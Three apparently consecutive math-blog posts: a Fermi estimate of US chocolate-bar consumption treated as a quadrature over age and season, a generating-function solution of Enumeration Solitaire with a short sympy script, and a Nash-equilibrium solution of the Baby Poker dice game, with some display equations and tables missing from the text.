Here's a Fermi problem you'll run into sooner or later, usually in a job interview, sometimes over drinks with someone who wants to see how you think:

How many chocolate bars are eaten each year in the United States?

The provenance goes back to Enrico Fermi's Chicago physics classes, where he'd ask students to estimate the number of piano tuners in the city, or the width of a nail's head in miles, or anything else where the point wasn't the number but the decomposition. That habit of mind has since been laundered through McKinsey and Google into the standard interview format, but the underlying move is Fermi's: break a hard question into smaller questions you can each guess within a factor of two, and let the errors mostly cancel.

Does Size Matter?

Before we start estimating, there's an elephant in the room that deserves to be named and then, deliberately, ignored. What counts as "a chocolate bar"? A fun-size Snickers you get in a Halloween bucket? A king-size Twix? A square of a Hershey's bar? A Costco-sized Toblerone? The answer changes the final count by an arbitrary factor of 1/2 or 2 or worse - it's the single variable this whole problem is most sensitive to, and it's not really a quantitative question at all. It's a linguistic knob. Turning it doesn't teach us anything about populations or quadrature; it just relabels what we're counting.

So we're going to do what physicists do when a problem has a knob like this: we're going to assume a spherical cow. In the spirit of Fermi, "eating a chocolate bar" is an idealized, dimensionless event - a discrete unit of chocolate consumption, roughly the size of whatever the reader pictures when they hear the phrase. We're not going to quibble about grams or servings or whether a Reese's cup counts. If your definition differs from mine by a factor of two, your final answer differs from mine by a factor of two, and that's fine. The interesting structure of this problem lives in the population and its interactions, not in the definition of the counting unit, and the machinery we're about to build works the same way whichever definition you pick.

With that noted and set aside, on to the actual estimation.

The Naive Approach and What It's Secretly Assuming

The textbook approach to the chocolate question looks like this. Guess that the average American eats maybe one chocolate bar every few days - call it 0.3 per day. Multiply by the population, roughly 340 million. Multiply by 365. You get something on the order of 40 billion chocolate bars per year.

That's your answer, and if you've picked reasonable numbers it's probably within a factor of two or three of the truth.

But look at what that multiplication is quietly assuming: one average American, one average day, one average rate. Every source of variation in the real population has been smoothed into a single number. If you push on the estimate, the assumption starts to feel thin. A five-year-old on Halloween is not eating the same amount of chocolate as an fifty-year-old on Halloween. Neither of them is eating the same amount on Halloween as they are in March. And it gets worse when you notice that the seasonal spike itself depends on who you are: kids own Halloween, adults own Valentine's Day, families with young children own Easter. (We can pretty safely assume that seniors will be flat across all of it.)

You can try to refine the estimate by splitting into age buckets, or by splitting into seasonal buckets. Either helps a little. But do them separately and you still miss the thing that actually matters, which is that age and season interact. A "seasonal multiplier" averaged over the whole population says everyone eats three times more chocolate on Halloween. That's false in a specific and important way: kids eat ten times more, adults eat only slightly more, and the average is a fiction that lives in neither group.

The interaction is real, and no amount of separately-refined marginal averages will recover it. We need a formalism that lets us write the joint structure down directly.

Population as a Joint Density (or, A Little Quadrature Never Hurt Anyone)

Here's the reframe. Think of the population as a density over some space of coordinates. Each person has internal coordinates \(\xi\) - age, income, dietary preferences, whatever matters for the problem - and lives in the external coordinate of time \(t\). Let \(n(\xi, t)\) be the number density of people: \(n(\xi, t)\, d\xi\) is how many people have coordinates in a little box around \(\xi\) at time \(t\). Let \(r(\xi, t)\) be the per-capita consumption rate: chocolate bars per person per unit time, for a person with coordinates \(\xi\) at time \(t\).

Then the total number of chocolate bars eaten in a year is just the integral of the product:

Two objects, cleanly separated. \(n\) says who exists. \(r\) says what they do. The product \(r \cdot n\) is chocolate bars per unit coordinate per unit time, and integrating it over the whole domain gives the total. (This is the population balance equation, a workhorse in chemical engineering, particle dynamics, and demography. We're borrowing the machinery, not reinventing it.)

Now the key observation: any numerical evaluation of that integral is a quadrature. Pick a grid of abscissae \((\xi_i, t_j)\), assign each grid cell a weight \(w_{ij}\) (in the simplest case, just the cell's width), and sum:

That's the whole game. The naive Fermi estimate we started with - rate × population × 365 - is exactly this sum with a single term: one \(\xi\)-bin covering everyone, one \(t\)-bin covering the whole year, one average rate. It's a one-point quadrature over the joint density. Refining a Fermi estimate is refining a quadrature grid. Everything from the back-of-envelope guess up to a full numerical integration lives on the same continuum.

And crucially, this formulation does not require \(r\) to factor as an age-dependent piece times a seasonal piece. You fill in each grid cell independently, so any interaction between coordinates is preserved by construction. That's exactly the structure the marginal-average approach destroys.

There's one more idea worth borrowing from numerical analysis here. The whole art of Gaussian quadrature is that abscissae should not be evenly spaced - they should cluster where the integrand varies fastest. The same instinct applies to Fermi estimation: a good quadrature grid matches the shape of what you're integrating, not the shape of the axis you're integrating over. For the chocolate problem, the "time" axis has twelve months, but the integrand has three spikes: Halloween, Valentine's, Easter. Using twelve evenly-spaced monthly bins would spend most of your resolution on quiet months where the integrand is flat and boring. Concentrating your grid on the three candy-heavy windows plus one bin for "everything else" captures almost all the structure with a quarter of the work. That reduction - twelve bins to four - is not a shortcut; it's the correct grid for this integrand.

There's a subtlety worth naming here, though. When we collapse twelve evenly-spaced months into four unevenly-sized "seasons," we're doing something a little sneaky: we're letting the content of the year (which holiday, which age group's spike) reshape the time axis itself. What was a pure external dimension - clock time, marching uniformly forward - is being warped into an internal dimension that carries information about the integrand. That works cleanly here because there's no other process on the time axis we care about. As problems gain dimensions, though, that alignment can break.

(As a more involved example, if we were trying to approximate number of chocolate bars eaten by a population, but under conditions of continuous changes in population or demographics, then integrating the total population over time would need a properly-resolved time axis - lumping 46 weeks into one bin would be throwing away real information. The seasonal grid works for our problem, because the integrand's structure and external axis's structure happen to coincide. If they don't, keep them separate, and "pay" for the extra abscissas (with a bit more bookkeeping).

Working the Chocolate Problem With Interactions

With the framework in hand, the estimate becomes a table. Rows are age buckets, columns are seasonal windows, each cell holds the number of bars eaten by that group in that window.

For the age axis, four buckets are enough: kids (0-12), teens (13-19), adults (20-64), and seniors (65+). Population is roughly uniform over these bands, so with 340 million Americans we can allocate roughly 55M kids, 30M teens, 190M adults, and 65M seniors. (Uniform-in-age is a lie, but a small enough one that the drama of this problem lives in \(r\), not in \(n\). That itself is a useful diagnostic - it tells us where refining would and wouldn't help.)

For the time axis, four bins: a Halloween window (~2 weeks around Oct 31), a Valentine's window (~2 weeks around Feb 14), an Easter window (~2 weeks around the spring holiday), and the remaining ~46 weeks of the year lumped into "rest of year." Numbers below are bars per person per day, and we'll multiply through by bucket population and bin length at the end.

Look at that matrix for a second. The kids row peaks on Halloween. The adults row peaks on Valentine's. Easter has a bump for kids and almost nothing for anyone else. Seniors are flat and low. No product of a row-vector and a column-vector produces this pattern - the matrix is not rank-1, and any factorization \(r(\xi, t) = r_{\text{age}}(\xi) \cdot s(t)\) would flatten these ridges into a smooth surface that gets every cell wrong. This is precisely the structure the joint formulation preserves and the marginal-refinement approach loses.

Summing (population × rate × days) cell by cell:

Which is, satisfyingly, in the same order of magnitude as the naive estimate from the first section (40 billion for the naive approach, 44 billion for the quadrature estimate). That's the usual outcome, and it's not a knock on the framework - it's a reminder that averaging over correlated variables often lands close to the truth by luck. What the framework buys you isn't necessarily a better number; it's a legible number. Every approximation is named and located in a specific cell. If you wanted to sharpen the estimate, you'd know exactly where to add resolution - split Halloween into "trick-or-treat night" and "the week after," split kids into "young enough to trick-or-treat" and "too cool for it" - and you'd be adding grid points to the ridges, which is exactly what a higher-order quadrature scheme does automatically.

That's the transferable idea, and it generalizes beyond chocolate. Any Fermi problem about a population - how many haircuts per year, how many gallons of coffee consumed per week, how many miles driven per day - is an integral of a per-capita rate against a number density over some joint coordinate space. The reason the standard "multiply the averages" trick works at all is that most people's mental \(r\) is smooth enough that a one-point quadrature suffices. When it isn't - when the coordinates interact, when the ridges matter - the framework tells you exactly where to add resolution and why. You stop guessing a single average and start choosing a grid.

References

• Wikipedia, Population balance equation.
• Wikipedia, Fermi problem.
• Wikipedia, Gaussian quadrature.

Enumeration Solitaire is a one-player card game with a two-sentence rule set and a genuinely nontrivial answer. You shuffle a deck, deal cards face up, and count "ace, two, three, ..., king" over and over as you go. If the rank you speak ever matches the rank of the card you just dealt, you lose. Get through all 52 cards without a match and you win.

It is a four-copy generalization of the classical probleme des rencontres (the derangement problem), and the solution is one inclusion-exclusion argument compressed into one generating function.

Our working notes: Enumeration Solitaire.

The Problem

This one comes from the same FiveThirtyEight Riddler column as Baby Poker (archived on the Wayback Machine): Can You Deal With These Card Game Puzzles?.

The rules:

• Take a standard shuffled 52-card deck.
• Deal cards face up, one at a time.
• As each card is dealt, speak the next rank in the cycle: ace, two, three, ..., king, then restart at ace.
• If the spoken rank ever matches the rank of the dealt card, you lose.
• If all 52 cards are dealt without a match, you win.

Two questions:

• What is the probability of winning a single game?
• On average, how many games must you play before winning once?

Setting Up the Problem

Label the deal positions \(i \in \{0, 1, \dots, 51\}\). At position \(i\) the spoken rank is \(s(i) = i \bmod 13\). Let \(A_i\) be the event "the card dealt at position \(i\) has rank \(s(i)\)." A win is the event that none of the \(A_i\) occur.

The naive move is to note that \(P(A_i) = 4/52 = 1/13\) for every \(i\) and treat the 52 events as independent. That gives \((12/13)^{52} \approx 0.0155\), and by linearity of expectation the average number of matches is \(52 \cdot 1/13 = 4\), so a Poisson approximation gives \(e^{-4} \approx 0.0183\). These are two different wrong answers because the events are not independent: the four cards of each rank compete for the same four labeled slots.

The right tool for "probability that none of a bunch of correlated events occurs" is inclusion-exclusion.

Inclusion-Exclusion

Model the deal as a uniformly random permutation of the 52 distinct cards. For a fixed size-\(k\) subset \(I\) of positions, group its positions by the rank they demand: let \(m_r\) be the number of positions in \(I\) with \(s(i) = r\). Then \(m_0 + \dots + m_{12} = k\) and each \(m_r \le 4\). Call \((m_0, \dots, m_{12})\) the multiplicity profile of \(I\).

To build an arrangement in which every position of \(I\) is a match:

1. For each rank \(r\), fill the \(m_r\) chosen slots with rank-\(r\) cards: \(4!/(4-m_r)!\) ordered choices.
2. Fill the remaining \(52 - k\) slots with the remaining \(52 - k\) cards in any order: \((52-k)!\) ways.

Dividing by \(52!\):

This depends on \(I\) only through its multiplicity profile, and the number of size-\(k\) subsets with a given profile is \(\prod_r \binom{4}{m_r}\). So

That inner sum is a constrained sum over 13-tuples, and it is exactly the kind of thing generating functions were invented to compute.

The Generating Function

Pull out one rank's contribution. Define

Package these into a polynomial using multiplicity as the exponent of a bookkeeping variable \(x\):

Now expand \(g(x)^{13}\). Every term in the expansion picks one monomial \(f(m_r) x^{m_r}\) from each of the 13 factors and multiplies them together, giving \(\left(\prod_r f(m_r)\right) x^{m_0 + \dots + m_{12}}\). So the coefficient of \(x^k\) in \(g(x)^{13}\) is exactly the constrained sum we wanted:

The upper bound \(m_r \le 4\) is enforced automatically because \(g\) has no terms above degree 4. What was a constrained nested sum over 13-tuples is now a single coefficient extraction from a fixed degree-52 polynomial.

Putting the pieces together:

Sanity Check: the Single-Suit Deck

Strip the deck down to a single suit: 13 distinct cards, one per rank. Now \(f(m) = 1\) for \(m \in \{0, 1\}\), so \(g(x) = 1 + x\) and \([x^k](1 + x)^{13} = \binom{13}{k}\). The formula collapses to

That is the classical derangement probability. Enumeration Solitaire with a full 52-card deck is the natural four-copy generalization: same inclusion-exclusion skeleton, but with a richer per-rank contribution polynomial than \(1 + x\).

The Answer

Before turning the crank, notice what the final formula is really gluing together. The problem mixes two different combinatorial pieces:

• \(g(x)^{13}\) enumerates how \(k\) matches can be distributed across the 13 ranks (with each rank contributing between 0 and 4 matches).
• \((52 - k)! / 52!\) is the probability that any particular set of \(k\) matches all happen simultaneously.

Inclusion-exclusion is what stitches them together with the alternating sign. The generating function collapses the first piece from a nested 13-tuple sum into "expand a polynomial and read off a coefficient." The second piece is a scalar weight applied per degree. So unlike the Polya change for a dollar setup, there is no single generating function whose coefficient is the answer. There is a polynomial to expand and then a 53-term weighted sum to take. That sum is the last unavoidable step.

Concretely: expand \(g(x)^{13}\) into its 53 coefficients \(c_0, c_1, \dots, c_{52}\), then compute

Wolfram Alpha is not much help here. It happily expands the polynomial if you ask for

expand (1 + 16 x + 72 x^2 + 96 x^3 + 24 x^4)^13

and gives you all 53 coefficients, but its free interface will not evaluate the surrounding sum: SeriesCoefficient and Coefficient are Wolfram Language functions, and the natural-language front-end refuses to run them inside a sum[...].

Five lines of Python with sympy does the whole thing:

from math import factorial
from sympy import symbols, expand, Poly

x = symbols('x')
g = 1 + 16*x + 72*x**2 + 96*x**3 + 24*x**4
coeffs = Poly(expand(g**13), x).all_coeffs()[::-1]  # c_0, ..., c_52
p = sum((-1)**k * factorial(52 - k) * c for k, c in enumerate(coeffs)) / factorial(52)
print(float(p))  # 0.016232838...

Either route gives an exact rational with a lot of digits; the decimal value is

or about 1.623%.

Two sanity checks. The Poisson heuristic \(e^{-4} \approx 0.0183\) overshoots slightly (the events are positively correlated in aggregate: once one card of a rank has appeared without matching, its remaining copies are slightly more likely to hit a later slot for that rank, which reduces the survival probability). A Monte Carlo run of 2,000,000 simulated deals gives an empirical win rate of about \(0.01633\), matching to three significant figures.

Successive games are independent, so the number of games until the first win is geometric with success probability \(\approx 0.01623\). On average you play about \(1 / 0.01623 \approx 61.6\) games before winning once. Bring a book.

What It Teaches

Enumeration Solitaire is a good showcase for two techniques that pair well:

• Inclusion-exclusion for "probability that none of these correlated events occur." The moment you write down \(P(\bigcap A_i^c) = \sum (-1)^k S_k\), the problem becomes: what is \(S_k\)?
• Generating functions for constrained sums over tuples. Whenever a sum runs over \((m_0, \dots, m_{n-1})\) with \(\sum m_r = k\) and per-coordinate bounds, packaging the per-coordinate contribution into a polynomial and reading off a coefficient of a product usually beats brute enumeration.

The whole solution fits on one page, and the classical derangement problem falls out as the degenerate case. Not bad for a game whose rules fit in a tweet.

References

• Our wiki notes: Enumeration Solitaire
• Can You Deal With These Card Game Puzzles?, the original FiveThirtyEight Riddler column (archived)
• Related: Baby Poker, the other puzzle from the same column

Baby Poker is a two-player dice game that fits on a napkin and still manages to be a real bluffing game. Each player rolls a single die concealed in a cup. There is one round of betting. That is it. And yet the optimal strategy involves mixed frequencies, a value range, a bluffing range, and a call/fold cutoff. It is the smallest game I know of that has all the moving parts of full poker.

Our working notes: Baby Poker.

The Problem

This one comes from the FiveThirtyEight Riddler column (now defunct, but happily still on the Wayback Machine): Can You Deal With These Card Game Puzzles?.

The rules:

• Each player antes $1.
• Both roll a single die in a cup and look only at their own die.
• Player A acts first: call (both dice shown, higher wins the $2 pot) or raise (bet another dollar).
• If A raises, Player B chooses call (match the dollar, higher wins the $4 pot) or fold (A takes the pot, B loses only the ante).
• Ties in a called pot split equally.

Two questions:

• What is the optimal strategy for each player?
• How much is the game worth to Player A? (Equivalently, how much should A pay B up front to make it fair?)

Setting Up the Game

Let \(x \in \{1,\dots,6\}\) be A's roll and \(y \in \{1,\dots,6\}\) be B's. Let \(p_x\) be the probability A raises given \(x\), and \(q_y\) the probability B calls a raise given \(y\). The strategy for each player is a vector of six numbers in \([0,1]\).

Because this is a zero-sum game of imperfect information, we are looking for a Nash equilibrium: a pair of strategies \((p, q)\) such that neither player can improve their expected value by deviating, holding the other player's strategy fixed. The standard tool is the indifference principle: at equilibrium, if a player mixes between two actions with a given hand, they must be indifferent between those actions. Otherwise they would just pick the better one and stop mixing.

That gives us two levers to pull. B's calling frequencies \(q_y\) must be tuned so that A is indifferent to bluffing with the worst hand. A's raising frequencies \(p_x\) must be tuned so that B is indifferent to calling with the marginal hands.

Player B's Indifference

B only has to think when A has raised. Given a raise, folding costs B one dollar (the ante). Calling puts B in for two more dollars into a four-dollar pot, and the payoff depends on how A's raising range \(p_x\) is distributed.

B's EV of calling with roll \(y\), conditional on A having raised, is

Setting this equal to \(-1\) (the EV of folding) and clearing the denominator gives B's indifference condition on A's range:

Player A's Range: Value and Bluffs

The shape of A's optimal range falls out of two observations.

Top of the range is trivial. A should always raise with 5 and 6. These are the hands most likely to win at showdown, and if you don't raise them you leave money on the table. So \(p_5 = p_6 = 1\).

Bluffing balances the range. If A only ever raised with strong hands, B would just always fold and A would never get paid off. So A has to raise with some bad hands too, to keep B honest. The cleanest choice is to bluff with the worst hand (\(x=1\)). A middling hand like 3 has real showdown equity that gets wasted by turning it into a bluff, but a 1 has almost none.

So the trial strategy is: value-bet with 5 and 6, call with 2, 3, 4, and bluff some fraction \(p_1\) of the time with 1.

Plug this into B's indifference formula at the boundary hand \(y=3\) (the marginal hand B might call with):

A bluffs with 1 exactly two-thirds of the time.

Player B's Range

Same trick from the other side. A must be indifferent between calling and raising when holding the worst hand. Calling with \(x=1\) has EV

Raising with \(x=1\) wins one dollar when B folds and loses two when B calls (a 1 loses to anything but a tie, and there is no tie with a 1). Letting \(S_q = \sum_y q_y\),

Equating and solving: \(S_q = \tfrac{11}{3}\).

B always folds 1 and always calls 5 and 6 (again, the extremes are easy), so \(q_2 + q_3 + q_4 = \tfrac{11}{3} - 2 = \tfrac{5}{3}\). The monotone solution is \(q_2 = 0\), \(q_3 = \tfrac{2}{3}\), \(q_4 = 1\).

The Answer

Player A. Always raise with 5 and 6. Always call with 2, 3, 4. Raise with 1 exactly \(\tfrac{2}{3}\) of the time.

Player B (facing a raise). Always call with 4, 5, 6. Always fold with 1 and 2. Call with 3 exactly \(\tfrac{2}{3}\) of the time.

Averaging A's conditional EV over all six rolls (the arithmetic is on the wiki), the value of the game is

Acting first is worth about a dime a hand. A gets to pick the timing of the bluffs and force B into a mixing spot. To make the game fair, A pays B \(\tfrac{5}{54}\) of a dollar per hand up front.

What It Teaches

The real point of Baby Poker is that it is a toy problem for game theory. It is small enough to solve by hand, and it exercises the full machinery: a two-player zero-sum game of imperfect information, solved by finding a Nash equilibrium in mixed strategies via the indifference principle. That is exactly the same math von Neumann and Morgenstern set up in Theory of Games and Economic Behavior, just shrunk to a six-sided die.

Baby Poker is a good teaching game because it has exactly the pieces of full poker and nothing else:

• A value range (raise with 5, 6): hands you want called.
• A bluff range (raise with 1 sometimes): hands you want to fold out better hands.
• A calling range (call with 2, 3, 4): hands with showdown equity you don't want to inflate the pot with.
• A mixed frequency (\(\tfrac{2}{3}\)) that ties the two players together via indifference.
• A positional advantage: acting first is worth real money because you get to define the ranges the second player has to respond to.

Every one of those concepts is a game-theoretic construct that survives all the way up to no-limit Texas hold 'em. Baby Poker just strips the game down to the smallest version where the full solution concept (Nash equilibrium in mixed strategies) still has all its moving parts.

References

• Our wiki notes: Baby Poker
• Can You Deal With These Card Game Puzzles?, the original FiveThirtyEight Riddler column (archived)
• Related: Enumeration Solitaire, the other puzzle from the same column